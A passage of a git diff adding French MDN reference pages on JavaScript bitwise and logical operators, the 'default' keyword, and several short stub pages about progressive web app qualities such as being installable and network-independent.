+9 << 2 (base 10) : 00000000000000000000000000100100 (base 2) = 36 (base 10)
+
+ +

Décaler un nombre x de y bits vers la gauche renverra x*2yx*2^y. Par exemple,  9 << 3 correspondra à 9 * (2 ** 3) = 9 * 8 = 72.

+ +

>> (décalage à droite avec propagation du signe)

+ +

Cet opérateur décale le premier opérande du nombre de bits spécifié vers la droite. Les bits surnuméraires éjectés à droite sont perdus. Des copies du bit le plus à gauche sont insérés par la gauche. Comme le bit le plus a gauche a la même valeur qu'avant l'opération, le bit de signe (celui qui est le plus à gauche) ne change pas. D'où ce qu'on appelle la « propagation du signe ».

+ +

Par exemple, 9 >> 2 donne 2 :

+ +
     9 (base 10) : 00000000000000000000000000001001 (base 2)
+                   --------------------------------
+9 >> 2 (base 10) : 00000000000000000000000000000010 (base 2) = 2 (base 10)
+
+ +

De même, -9 >> 2 donne -3, parce que le signe est préservé :

+ +
     -9 (base 10) : 11111111111111111111111111110111 (base 2)
+                    --------------------------------
+-9 >> 2 (base 10) : 11111111111111111111111111111101 (base 2) = -3 (base 10)
+
+ +

>>> (décalage à droite avec insertion de zéros)

+ +

Cet opérateur décale le premier opérande du nombre de bits spécifié vers la droite. Les bits surnuméraires éjectés à droite sont perdus. Des bits à zéro sont insérés par la gauche. Le bit de signe devient 0, donc le résultat est toujours positif. À la différence des autres opérateurs binaires, cette opération renvoie un entier non-signé sur 32 bits.

+ +

Pour les nombres non négatifs, le décalage à droite avec insertion de zéros et le décalage à droite avec propagation du signe donnent le même résultat. Par exemple, 9 >>> 2 donne 2, tout comme 9 >> 2 :

+ +
      9 (base 10) : 00000000000000000000000000001001 (base 2)
+                    --------------------------------
+9 >>> 2 (base 10) : 00000000000000000000000000000010 (base 2) = 2 (base 10)
+
+ +

Cependant, ce n'est pas le cas des nombres négatifs. Par exemple, -9 >>> 2 donne 1073741821, ce qui est différent de -9 >> 2 (qui donne -3) :

+ +
      -9 (base 10) : 11111111111111111111111111110111 (base 2)
+                     --------------------------------
+-9 >>> 2 (base 10) : 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
+
+ +

Exemples

+ +

Exemple : flags et bitmasks

+ +

Les opérateurs logiques binaires sont souvent utilisés pour créer, manipuler et lire des séquences deflags , qui sont comme des variables binaires. On pourrait très bien utiliser des variables à la place de ces séquences binaires, mais des flags binaires prennent nettement moins de mémoire (par un facteur de 32).

+ +

Supposons que l'on ait 4 flags :

+ +
    +
  • flag A : nous avons une araignée
    • +
  • flag B : nous avons une belette
    • +
  • flag C : nous avons un chat
    • +
  • flag D : nous avons un dinosaure
    • +
+ +

Ces flags sont représentés par une séquence de bits : DCBA. Lorsqu'un flag est positionné, il a une valeur de 1. Sinon, il a une valeur de 0. Supposons qu'une variable flags a la valeur binaire de 0101 :

+ +
var flags = 0x5;   // 0101 en binaire
+
+ +

Cette valeur indique :

+ +
    +
  • le flag A est vrai (nous avons une araignée) ;
    • +
  • le flag B est faux (nous n'avons pas de belette) ;
    • +
  • le flag C est vrai (nous avons un chat) ;
    • +
  • le flag D est faux (nous n'avons pas de dinosaure).
    • +
+ +

Comme les opérateurs binaires sont sur 32 bits, 0101 est en fait 00000000000000000000000000000101, mais les zéros qui précèdent peuvent être négligés étant donné qu'ils ne contiennent aucune information significative.

+ +

Un bitmask est une séquence de bits qui peuvent manipuler et/ou lire des flags. Typiquement, un masque « primitif » pour chaque flag est défini :

+ +
var FLAG_A = 0x1; // 0001
+var FLAG_B = 0x2; // 0010
+var FLAG_C = 0x4; // 0100
+var FLAG_D = 0x8; // 1000
+
+ +

De nouveaux masques peuvent être créés à l'aide des opérateurs logiques binaires sur ces masques primitifs. Par exemple, le masque 1011 peut être créé avec une opération OU sur FLAG_A, FLAG_B et FLAG_D :

+ +
var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 => 1011
+
+ +

Des valeurs de flag particulières peuvent être extraites à l'aide d'une opération ET avec un bitmask, où chaque bit avec la valeur 1 va « extraire » le flag qui correspond. Le bitmask masque les flags dont on n'a pas besoin en effectuant l'opération ET avec des zéros (d'où le terme « bitmask »). Par exemple, le masque 0100 peut être utilisé pour voir si le flag C est positionné :

+ +
// si l'on a un chat
+if (flags & FLAG_C) { // 0101 & 0100 => 0100 => true
+   // faire quelque chose
+}
+
+ +

Un masque avec plusieurs flags positionnés agit comme un « et/ou ». Par exemple, les deux instructions suivantes sont équivalentes :

+ +
// si on a une belette ou si on a un chat
+if ((flags & FLAG_B) || (flags & FLAG_C)) { // (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true
+   // faire quelque chose
+}
+
+ +
// si on a une belette ou si on a un chat
+var mask = FLAG_B | FLAG_C; // 0010 | 0100 => 0110
+if (flags & mask) { // 0101 & 0110 => 0100 => true
+   // faire quelque chose
+}
+
+ +

Les flags peuvent être positionnés en utilisant l'opération OU avec un masque, où chaque bit de la valeur 1 définira le flag correspondant, si celui-ci n'est pas déjà positionné. Par exemple, le masque 1100 peut être utilisé pour positionner les flags C et D :

+ +
// oui, on a un chat et un dinosaure
+var mask = FLAG_C | FLAG_D; // 0100 | 1000 => 1100
+flags |= mask;   // 0101 | 1100 => 1101
+
+ +

Les flags peuvent être remis à zéro en utilisant l'opération ET avec un masque, où chaque bit avec la valeur 0 remettra à zéro le flag correspondant s'il ne l'est pas déjà. Ce masque peut être créé avec l'opération NOT sur les masques primitifs. Par exemple, le masque 1010 peut être utilisé pour remettre à zéro les flags A et C :

+ +
// non, nous n'avons pas d'araignée ou de chat
+var mask = ~(FLAG_A | FLAG_C); // ~0101 => 1010
+flags &= mask;   // 1101 & 1010 => 1000
+
+ +

Le masque aurait également pu être créé avec ~FLAG_A & ~FLAG_C (Loi de De Morgan) :

+ +
// non, nous n'avons pas d'araignée ou de chat
+var mask = ~FLAG_A & ~FLAG_C;
+flags &= mask;   // 1101 & 1010 => 1000
+
+ +

Les flags peuvent être inversés en utilisant l'opération XOR avec un masque, où chaque bit avec la valeur 1 inversera le flag correspondant. Par exemple, le masque 0110 peut être utilisé pour inverser les flags B et C :

+ +
// si on n'avait pas de belette, on en a maintenant une.
+// si on en avait une, on ne l'a plus. Même chose pour les chats.
+var mask = FLAG_B | FLAG_C;
+flags = flags ^ mask;   // 1100 ^ 0110 => 1010
+
+ +

Finalement, les flags peuvent être tous inversés avec l'opérateur NON :

+ +
// entrée dans un univers parallèle...
+flags = ~flags;    // ~1010 => 0101
+
+ +

Codes de conversion

+ +

Pour convertir une String binaire en un Number (en base 10):

+ +
var chaîneBinaire = "1011";
+var monNombre = parseInt(chaîneBinaire, 2);
+console.log(monNombre); // affiche 11 (1011 en base 2)
+
+ +

Pour convertir un Number (en base 10) en une String binaire :

+ +
var monNombre = 11;
+var chaîneBinaire = monNombre.toString(2);
+console.log(chaîneBinaire); // affiche 1011 (11 en base 10)
+
+ +

Automatiser la création d'un masque

+ +

Si vous devez créer plusieurs masques à partir de booléens, il est possible d'automatiser ce processus :

+ +
function créerMasque () {
+  var nMask = 0, nFlag = 0, nLen = arguments.length > 32 ? 32 : arguments.length;
+  for (nFlag; nFlag < nLen; nMask |= arguments[nFlag] << nFlag++);
+  return nMask;
+}
+var masque1 = créerMasque(true, true, false, true); // 11, i.e.: 1011
+var masque2 = créerMasque(false, false, true); // 4, i.e.: 0100
+var masque3 = créerMasque(true); // 1, i.e.: 0001
+// etc.
+
+console.log(masque1); // affiche 11, i.e.: 1011
+
+ +

Algorithme réciproque : obtenir un tableau de booléen à partir d'un masque

+ +

Si on souhaite créer un tableau de booléens à partir d'un masque, on pourra utiliser le code suivant :

+ +
function tableauMasque (nMask) {
+  // nMask doit être compris entre -2147483648 et 2147483647
+  if (nMask > 0x7fffffff || nMask < -0x80000000) {
+    throw new TypeError("tableauMasque - intervalle de valeur dépassé");
+  }
+  for (var nShifted = nMask, aFromMask = []; nShifted;
+       aFromMask.push(Boolean(nShifted & 1)), nShifted >>>= 1);
+  return aFromMask;
+}
+
+var tableau1 = tableauMasque(11);
+var tableau2 = tableauMasque(4);
+var tableau3 = tableauMasque(1);
+
+console.log("[" + tableau1.join(", ") + "]");
+// affiche "[true, true, false, true]", i.e.: 11, i.e.: 1011
+
+ +

On peut ainsi utiliser les deux algorithmes :

+ +
var test = 19; // un masque quelconque
+var résultat = créerMasque.apply(this, tableauMasque(test));
+
+console.log(résultat); // 19
+
+ +

Pour l'exemple (car il existe la méthode Number.toString(2)), on peut également modifier l'algorithme précédent pour créer une chaîne à partir de la représentation binaire d'un nombre :

+ +
function créerChaîneBinaire(nMask) {
+  // nMask doit être compris entre -2147483648 et 2147483647
+  for (var nFlag = 0, nShifted = nMask, sMask = ""; nFlag < 32;
+       nFlag++, sMask += String(nShifted >>> 31), nShifted <<= 1);
+  return sMask;
+}
+
+var string1 = créerChaîneBinaire(11);
+var string2 = créerChaîneBinaire(4);
+var string3 = créerChaîneBinaire(1);
+
+console.log(string1);
+// affiche 00000000000000000000000000001011, i.e. 11
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-11.7')}}{{Spec2('ES5.1')}}Définis au sein de plusieurs sections de la spécification : Opérateur NON binaire, Opérateurs binaires de décalage, Opérateurs binaires
{{SpecName('ES6', '#sec-bitwise-shift-operators')}}{{Spec2('ES6')}}Définis au sein de plusieurs sections de la spécification : Opérateur NON binaire, Opérateurs binaires de décalage, Opérateurs binaires
{{SpecName('ESDraft', '#sec-bitwise-shift-operators')}}{{Spec2('ESDraft')}}Defined in several sections of the specification: opérateur NON binaire, opérateurs binaires de décalage, opérateurs binaires
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.bitwise")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/operators_d0fb75b0fac950a91a017a1f497c6a1f/index.html b/files/fr/conflicting/web/javascript/reference/operators_d0fb75b0fac950a91a017a1f497c6a1f/index.html new file mode 100644 index 0000000000..6b82320d69 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/operators_d0fb75b0fac950a91a017a1f497c6a1f/index.html @@ -0,0 +1,256 @@ +--- +title: Opérateurs logiques +slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_logiques +tags: + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators +translation_of_original: Web/JavaScript/Reference/Operators/Logical_Operators +--- +
{{jsSidebar("Operators")}}
+ +

Les opérateurs logiques sont typiquement utilisés avec des valeurs booléennes (logiques) ; lorsque c'est le cas, ils renvoient une valeur booléenne également. Cependant, les opérateurs && et || renvoient en réalité la valeur d'un des opérandes spécifiés. Si ces opérateurs sont utilisés avec des valeurs non booléennes, ils peuvent donc également renvoyer une valeur non booléenne.

+ +

{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}

+ + + +

Description

+ +

Les opérateurs logiques sont décrits dans le tableau suivant (les expressions indiquées comme opérandes peuvent être de n'importe quel type et pas nécessairement être booléennes au sens strict) :

+ + + + + + + + + + + + + + + + + + + + + + + + +
OpérateurUsageDescription
ET logique (&&)expr1 &&expr2 Renvoie expr1 si cette expression peut être convertie en false, sinon renvoie expr2.
OU logique (||)expr1 ||expr2 Renvoie expr1 si cette expression peut être convertie en true, sinon renvoie expr2.
NON logique (!)!expr Renvoie false si son opérande unique peut être converti en true, sinon il renvoie true.
+ +

Si une valeur peut être convertie en true, on dit en anglais qu'elle est truthy. Pour false on dit qu'elle est falsy.

+ +

Parmi les expressions qui peuvent être converties en false, citons celles qui seront évaluées à :

+ +
    +
  • null,
    • +
  • NaN,
    • +
  • 0,
    • +
  • la chaîne vide ("" ou '' ou ``),
    • +
  • undefined.
    • +
+ +

Même si les opérateurs && et || peuvent être utilisés avec des opérandes qui ne sont pas des valeurs booléennes, ils peuvent toujours être considérés comme des opérateurs booléens puisque leurs valeurs de retour peuvent toujours être converties en valeurs booléennes.

+ +

Évaluation court-circuit

+ +

Comme les expressions logiques sont évaluées de gauche à droite, leur évaluation sera éventuellement « court-circuitée » à l'aide des règles suivantes :

+ +
    +
  • l'évaluation de false && n'importe quoi est court-circuitée en false.
    • +
  • l'évaluation de true || n'importe quoi est court-circuitée en true.
    • +
+ +

Les règles de la logique garantissent que ces évaluations seront toujours correctes. Notons que la partien'importe quoi des expressions mentionnées ci-dessus ne sera jamais évaluée, et que tout effet de bord éventuel induit par cette évaluation ne se produira pas.

+ +

Ainsi, les deux fonctions suivantes sont équivalentes :

+ +
function courtCircuit() {
+  // OU logique
+  faireQuelqueChose() || faireAutreChose();
+
+ faireQuelqueChose() && faireAutreChose();
+}
+
+function évaluationÉquivalente() {
+  var orFlag = faireQuelqueChose();
+  if (!orFlag) {
+    faireAutreChose();
+  }
+
+  var andFlag = faireQuelqueChose();
+  if (andFlag) {
+    faireAutreChose();
+  }
+}
+
+ +

Précédence des opérateurs

+ +

Les expressions suivantes ne sont pas équivalentes en raison de la précédence des opérateurs. Cela permet de noter que l'opérande droit ne doit être qu'une seule expression (si nécessaire entourée de parenthèses).

+ +
true || false && false   // renvoie true car && est appliqué en premier
+(true || false) && false // renvoie false car || est appliqué en premier grâce aux parenthèses
+ +

ET logique (&&)

+ +

Le code qui suit illustre comment utiliser l'opérateur && (ET logique).

+ +
a1 = true  && true      // t && t renvoie true
+a2 = true  && false     // t && f renvoie false
+a3 = false && true      // f && t renvoie false
+a4 = false && (3 == 4)  // f && f renvoie false
+a5 = "Yip" && "Yop"     // t && t renvoie "Yop"
+a6 = false && "Yop"     // f && t renvoie false
+a7 = "Yop" && false     // t && f renvoie false
+a8 = ""    && true      // f && f renvoie ""
+a9 = false && ""        // f && f renvoie false
+
+ +

OU logique (||)

+ +

Le code qui suit illustre quelques exemples d'utilisation de l'opérateur || (OU logique).

+ +
o1 = true  || true       // t || t renvoie true
+o2 = false || true       // f || t renvoie true
+o3 = true  || false      // t || f renvoie true
+o4 = false || (3 == 4)   // f || f renvoie false
+o5 = "Yip" || "Yop"      // t || t renvoie "Yip"
+o6 = false || "Yip"      // f || t renvoie "Yip"
+o7 = "Yip" || false      // t || f renvoie "Yip"
+o8 = ""    || false      // f || f renvoie false
+o9 = false || ""         // f || f renvoie ""
+010 = false|| monObjet   // f || objet renvoie monObjet
+
+ +

NON logique(!)

+ +

Le code qui suit illustre quelques exemples d'utilisation de l'opérateur ! (NON logique).

+ +
n1 = !true              // !t renvoie false
+n2 = !false             // !f renvoie true
+n3 = !""                // !f renvoie true
+n3 = !"Yop"             // !t renvoie false
+
+ +

Utilisation de la double négation

+ +

Il est possible d'utiliser deux fois le NON logique à la suite afin de forcer la conversion d'une valeur en un booléen. On obtiendra ainsi le booléen true si la valeur est équivalente à vrai et false si la valeur est équivalente à faux. Cette opération de conversion peut également être réalisée grâce à la fonction {{jsxref("Boolean")}}.

+ +
n1 = !!true;                 // une valeur équivalente à true renvoie true
+n2 = !!{};                   // un objet, même vide est toujours équivalent à true
+n3 = !!(new Boolean(false)); // même lorsque leur constructeur est Boolean !
+n4 = !!false;                // une valeur équivalente à false renvoie false
+n5 = !!"";                   // idem
+n6 = !!Boolean(false);       // ici Boolean n'est pas utilisé comme constructeur
+                             // et la valeur produite est bien équivalente à false
+ +

Règles de conversions

+ +

Convertir un ET logique avec des OU logiques

+ +

L'opération suivante

+ +
condition1 && condition2
+ +

sera toujours égale à :

+ +
!(!condition1 || !condition2)
+ +

Convertir un OU logique avec des ET logiques

+ +

L'opération suivante :

+ +
condition1 || condition2
+ +

sera toujours égale à :

+ +
!(!condition1 && !condition2)
+ +

Convertir des NON logiques successifs

+ +

Si on a l'opération suivante avec un booléen :

+ +
!!condition
+
+ +

elle sera toujours équivalente à

+ +
condition
+ +

Retirer les parenthèses imbriquées

+ +

Les expressions logiques sont évaluées de gauche à droite, il est donc possible de retirer certaines parenthèses d'une expression complexe grâce à quelques règles.

+ +

Retirer les parenthèses d'un ET imbriqué

+ +

Cette opération :

+ +
condition1 || (condition2 && condition3)
+ +

sera toujours équivalente à :

+ +
condition1 || condition2 && condition3
+ +

Retirer les parenthèses d'un OU imbriqué

+ +

Cette opération :

+ +
condition1 && (condition2 || condition3)
+ +

sera toujours équivalente à :

+ +
!(!condition1 || !condition2 && !condition3)
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-11.11')}}{{Spec2('ES5.1')}}Définis dans plusieurs sections de la spécification : opérateur NON logique, opérateurs logiques binaires
{{SpecName('ES6', '#sec-binary-logical-operators')}}{{Spec2('ES6')}}Définis dans plusieurs sections de la spécification : opérateur NON logique, opérateurs logiques binaires
{{SpecName('ESDraft', '#sec-binary-logical-operators')}}{{Spec2('ESDraft')}}Définis dans plusieurs sections de la spécification : opérateur NON logique, opérateurs logiques binaires
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.logical")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/statements/switch/index.html b/files/fr/conflicting/web/javascript/reference/statements/switch/index.html new file mode 100644 index 0000000000..e2cc368115 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/statements/switch/index.html @@ -0,0 +1,124 @@ +--- +title: default +slug: Web/JavaScript/Reference/Instructions/default +tags: + - JavaScript + - Keyword + - Reference +translation_of: Web/JavaScript/Reference/Statements/switch +translation_of_original: Web/JavaScript/Reference/Statements/default +--- +
{{jsSidebar("Statements")}}
+ +

Le mot-clé default peut être utilisé à deux endroits en JavaScript : au sein d'une instruction {{jsxref("Instructions/switch", "switch")}} ou dans une instruction {{jsxref("Instructions/export", "export")}}.

+ +
{{EmbedInteractiveExample("pages/js/statement-default.html")}}
+ + + +

Syntaxe

+ +

Dans une instruction {{jsxref("Instructions/switch", "switch")}} :

+ +
switch (expression) {
+  case valeur1:
+    // Les instructions exécutées quand le résultat
+    // de l'expression vaut valeur1
+    [break;]
+  default:
+    // Les instructions exécutées quand aucune des valeurs
+    // ne correspond à la valeur de l'expression
+    [break;]
+}
+ +

Dans une instruction {{jsxref("Instructions/export", "export")}} :

+ +
export default nomN
+ +

Description

+ +

Pour plus de détails, voir les pages sur :

+ +
    +
  • L'instruction {{jsxref("Instructions/switch", "switch")}} et
    • +
  • L'instruction {{jsxref("Instructions/export", "export")}}.
    • +
+ +

Exemples

+ +

Utiliser default dans une instruction switch

+ +

Dans l'exemple qui suit, si expr vaut "Bananes" ou "Pommes", le programme exécutera les instructions correspondantes à chacune de ces valeurs. Le mot-clé default permettra d'indiquer des instructions à exécuter dans les autres cas (expr ne correspond à aucun des cas).

+ +
switch (expr) {
+  case "Bananes":
+    console.log("Les bananes sont à 1.59€ le kilo.");
+    break;
+  case "Pommes":
+    console.log("Les pommes sont à 0.78€ le kilo.");
+    break;
+  default:
+    console.log("Désolé, nous n'avons plus de " + expr + ".");
+}
+ +

Utiliser default avec export

+ +

Si on souhaite exporter une seule valeur ou avoir une valeur par défaut dans un module, on peut utiliser un export avec default :

+ +
// module "mon-module.js"
+let cube = function cube(x) {
+  return x * x * x;
+}
+export default cube;
+ +

Dans un autre script, on pourra simplement faire référence à l'export par défaut :

+ +
// module "autre-module.js"
+import maFonction from 'mon-module';
+console.log(maFonction(3)); // 27
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-switch-statement', 'Instruction switch')}}{{Spec2('ES6')}} 
{{SpecName('ES6', '#sec-exports', 'Exports')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ESDraft', '#sec-exports', 'Exports')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.default")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/export", "export")}}
    • +
  • {{jsxref("Instructions/switch", "switch")}}
    • +
diff --git a/files/fr/conflicting/web/progressive_web_apps/index.html b/files/fr/conflicting/web/progressive_web_apps/index.html new file mode 100644 index 0000000000..3bea56aaa7 --- /dev/null +++ b/files/fr/conflicting/web/progressive_web_apps/index.html @@ -0,0 +1,60 @@ +--- +title: Identifiable +slug: Web/Progressive_web_apps/Identifiable +tags: + - Applications + - Identifiable + - Manifeste + - Manifeste Web +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Discoverable +--- +
+
Dès lors que vous publiez une application web, vous voulez que le monde le sache. Les moteurs de recherche le font, mais souvent on souhaite plus de contrôle sur comment l'application sera affichée dans les résultats de la recherche. Le nouveau manifeste du W3C pour les applications web peut aider à cela, ainsi que pour d'autres fonctionnalités.
+ +
+
+ +

Objectifs éventuels des applications web:

+ +
    +
  • Être mieux représenté dans les moteurs de recherche
    • +
  • Être facile à exposer, dans un catalogue ou un classement
    • +
  • Avoir des méta-données (metadata) utilisables par le navigateur pour leur donner des capacités spéciales
    • +
+ +

Guides

+ +

Aucun document actuellement; les contributions sont les bienvenues.

+ +

Technologies

+ + + + + + + + + + + + + + + + + + +
TechnologieDescriptionRésumé du supportDernière spécification
Manifeste des applications webDéfinit les fonctions  d'une application web comme son nom, une icône, un écran de lancement et un thème de couleur, pour une utilisation dans un contexte comme l'affichage sur une liste d'applications ou sur l'écran d'accueil de l'appareil.Expérimental, supporté dans Chrome, support limité dans Firefox (plus de détails){{SpecName('Manifest')}}
+ +

Outils

+ +

Ajouter un lien vers un outils ou une bibliothèque utile.

+ +

Voir aussi

+ +
+
Open Graph
+
Un standard, defacto, fournissant un format pour spécifier des méta-données similaires dans la balise HTML <head> en utilisant les meta tags. Supporté par Facebook et d'autres domaines.
+
diff --git a/files/fr/conflicting/web/progressive_web_apps_0d5c38b9aa908cbb52e4c39037b4f28b/index.html b/files/fr/conflicting/web/progressive_web_apps_0d5c38b9aa908cbb52e4c39037b4f28b/index.html new file mode 100644 index 0000000000..c5c90869f4 --- /dev/null +++ b/files/fr/conflicting/web/progressive_web_apps_0d5c38b9aa908cbb52e4c39037b4f28b/index.html @@ -0,0 +1,34 @@ +--- +title: Sécurisée +slug: Web/Progressive_web_apps/Securisee +tags: + - Applications + - Applications web modernes + - Applications web progressives + - HTTPS + - Sécurité + - Web +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Safe +--- +
+
La plateforme Web fournit un mécanisme sécurisé de livraison permettant d'éviter l'infiltration et s'assurer que le contenu n'a pas été altéré - aussi longtemps que vous bénéficiez de l'avantage du HTTPS et que vous développez votre application avec la sécurité à l'esprit.
+ +
+
+ +

Guides

+ +

Aucun document actuellement; les contributions sont les bienvenues.

+ +

Technologies

+ +

Pas besoin de nouvelle technologie - Le Web a toujours fonctionné comme ça !

+ +

Outils

+ +

Ajouter un lien vers un outils ou une bibliothèque utile.

+ +

Voir aussi

+ +

Ajouter un lien vers des informations liées.

diff --git a/files/fr/conflicting/web/progressive_web_apps_12fa0bab73df8b67470cc2aaa3a2effc/index.html b/files/fr/conflicting/web/progressive_web_apps_12fa0bab73df8b67470cc2aaa3a2effc/index.html new file mode 100644 index 0000000000..98ad67f276 --- /dev/null +++ b/files/fr/conflicting/web/progressive_web_apps_12fa0bab73df8b67470cc2aaa3a2effc/index.html @@ -0,0 +1,32 @@ +--- +title: Partageable +slug: Web/Progressive_web_apps/Partageable +tags: + - Applications + - Applications web modernes + - Applications web progressives + - Partageable +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Linkable +--- +
+
Une des fonctions les plus puissantes du Web est d'être capable de relier une application web à un lien URL spécifique — pas besoin de plateforme d'application, pas de processus complexe d'installation. Cela a toujours été comme ça.
+ +
+
+ +

Guides

+ +

Aucun document actuellement; les contributions sont les bienvenues.

+ +

Technologies

+ +

Pas besoin de nouvelle technologie - Le Web a toujours fonctionné comme ça !

+ +

Outils

+ +

Ajouter un lien vers un outil ou une bibliothèque utile.

+ +

Voir aussi

+ +

Ajouter un lien vers des informations liées.

diff --git a/files/fr/conflicting/web/progressive_web_apps_7b3e1886320599eacfee6834ead473f1/index.html b/files/fr/conflicting/web/progressive_web_apps_7b3e1886320599eacfee6834ead473f1/index.html new file mode 100644 index 0000000000..1692b10b1d --- /dev/null +++ b/files/fr/conflicting/web/progressive_web_apps_7b3e1886320599eacfee6834ead473f1/index.html @@ -0,0 +1,48 @@ +--- +title: Installable +slug: Web/Progressive_web_apps/Installable +tags: + - Applications + - Installable + - Manifeste +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Installable +--- +
+
Une partie basique de l'expérience avec l'application, pour un utilisateur, est d'avoir l'icône sur l'écran d'accueil et être capable de l'ouvrir dans son propre conteneur avec une bonne intégration avec la plateforme système sous-jacente. Les applications web modernes peuvent avoir ce sentiment d'application native.
+ +
+
+ +

Guides

+ +

Aucun document actuellement; les contributions sont les bienvenues.

+ +

Technologies

+ + + + + + + + + + + + + + + + + + +
TechnologieDescriptionRésumé du supportDernière spécification
Manifeste des applications webDéfinit les fonctions  d'une application web comme son nom, une icône, un écran de lancement et un thème de couleur, pour une utilisation dans un contexte comme l'affichage sur une liste d'applications ou sur l'écran d'accueil de l'appareil.Expérimental, supporté dans Chrome, support limité dans Firefox (plus de détails){{SpecName('Manifest')}}
+ +

Outils

+ +

Ajouter un lien vers un outils ou une bibliothèque utile.

+ +

Voir aussi

+ +

Ajouter un lien vers des informations liées.

diff --git a/files/fr/conflicting/web/progressive_web_apps_954d3e6cc1e06f006b865b74099f55cf/index.html b/files/fr/conflicting/web/progressive_web_apps_954d3e6cc1e06f006b865b74099f55cf/index.html new file mode 100644 index 0000000000..d4c0de5453 --- /dev/null +++ b/files/fr/conflicting/web/progressive_web_apps_954d3e6cc1e06f006b865b74099f55cf/index.html @@ -0,0 +1,31 @@ +--- +title: Progressive +slug: Web/Progressive_web_apps/Progressive +tags: + - Amélioration progressive + - Applications + - Design adaptatif +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Progressive +--- +
+
Les applications web modernes peuvent être développées pour fournir une experience vraiment agréable avec les navigateurs complètement compatibles, et une expérience correcte (mais pas aussi brillante) avec les navigateurs moins aptes. Nous avons fait cela pendant des années avec de bonnes pratiques comme l'amélioration progressive, donc gardons cette bonne manière de faire les choses.
+ +
+
+ +

GuidesEdit

+ +

Aucun document actuellement; les contributions sont les bienvenues.

+ +

TechnologiesEdit

+ +

Pas besoin de nouvelle technologie - Le Web a toujours fonctionné comme ça depuis longtemps !

+ +

OutilsEdit

+ +

Ajouter un lien vers un outils ou une bibliothèque utile.

+ +

Voir aussiEdit

+ +

Ajouter un lien vers des informations liées.

diff --git a/files/fr/conflicting/web/progressive_web_apps_ab4d34f3f29326f76d3aab740be03d31/index.html b/files/fr/conflicting/web/progressive_web_apps_ab4d34f3f29326f76d3aab740be03d31/index.html new file mode 100644 index 0000000000..52bcf0a121 --- /dev/null +++ b/files/fr/conflicting/web/progressive_web_apps_ab4d34f3f29326f76d3aab740be03d31/index.html @@ -0,0 +1,95 @@ +--- +title: Indépendante du réseau +slug: Web/Progressive_web_apps/Independante_du_reseau +tags: + - App shell + - Applications + - IndexedDB + - Indépendante du réseau + - Service Workers + - hors-ligne + - localStorage +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Network_independent +--- +
+
Les applications web modernes peuvent fonctionner quand le réseau n'est pas fiable, ou même inexistant. Terminé les pages blanches d'erreur de connexion ou les dinosaures qui courent dans le désert. Une séparation claire entre l'affichage (UI) et le contenu ainsi qu'un cache hors-ligne et des services workers, vous permettent de stocker les données de l'application et ses dépendances pour les futures utilisations.
+ +
+
+ +

Les concepts de base, concernant l'indépendance au réseau, c'est la capacité de :

+ +
    +
  • Re-visiter un site et accèder à son contenu même quand le réseau n'est pas disponible.
    • +
  • Naviguer dans tout type de contenu que l'utilisateur a visité au moins une fois auparavant, même dans une situation comme une mauvaise connectivité.
    • +
  • Contrôler ce qui est affiché à l'utilisateur dans les cas d'absence de connexion.
    • +
+ +

Guides

+ +
+
Utiliser les service workers
+
Un guide simple pour débutant à l'API Service Worker.
+
Utiliser IndexedDB
+
Les bases concernant IndexedDB, expliquées en détails.
+
Utiliser l'API Web Storage
+
L'API Web Storage en toute simplicité.
+
Chargement rapide des applications web avec l'architecture App Shell
+
Un guide pour utiliser le coding pattern App Shell pour créer des applications qui se chargent rapidement.
+
+ +

Technologies

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TechnologieDescriptionRésumé du supportDernière spécification
Service workersJavaScript fonctionne dans un contexte de travail particulier qui est lancé par le navigateur dans certaines circonstances comme la récupération (fetch) et l'envoi (push) d'évènements. Ceci permet au service worker d'intercepter des réponses et de les personnaliser, de toute les façons que vous le souhaitez, par exemple mettre en cache des ressources pour un usage hors-ligne avant qu'elle ne soit servies.Expérimental : Chrome et Firefox (plus de détails){{SpecName('Service Workers')}}
IndexedDBUn système de base de données transactionnelle qui permet un stockage complexe de données coté client, contrôlable par JavaScript.Répandu dans les navigateurs modernes (plus de détails){{SpecName('IndexedDB')}}
Web StorageUne API simple de stockage de clé/valeurs côté client.Répandu (plus de détails){{SpecName('Web Storage')}}
+ +

Outils

+ +
+
localForage
+
Une simple petite bibliothèque Javascript pour rendre vraiment simple la création d'un stockage de données côté client ; utilise par défaut IndexedDB, et se tourne vers Web SQL/Web Storage si nécessaire.
+
ServiceWorkerWare
+
Un micro-framework similaire à Express pour le développement simple d'un service worker.
+
oghliner
+
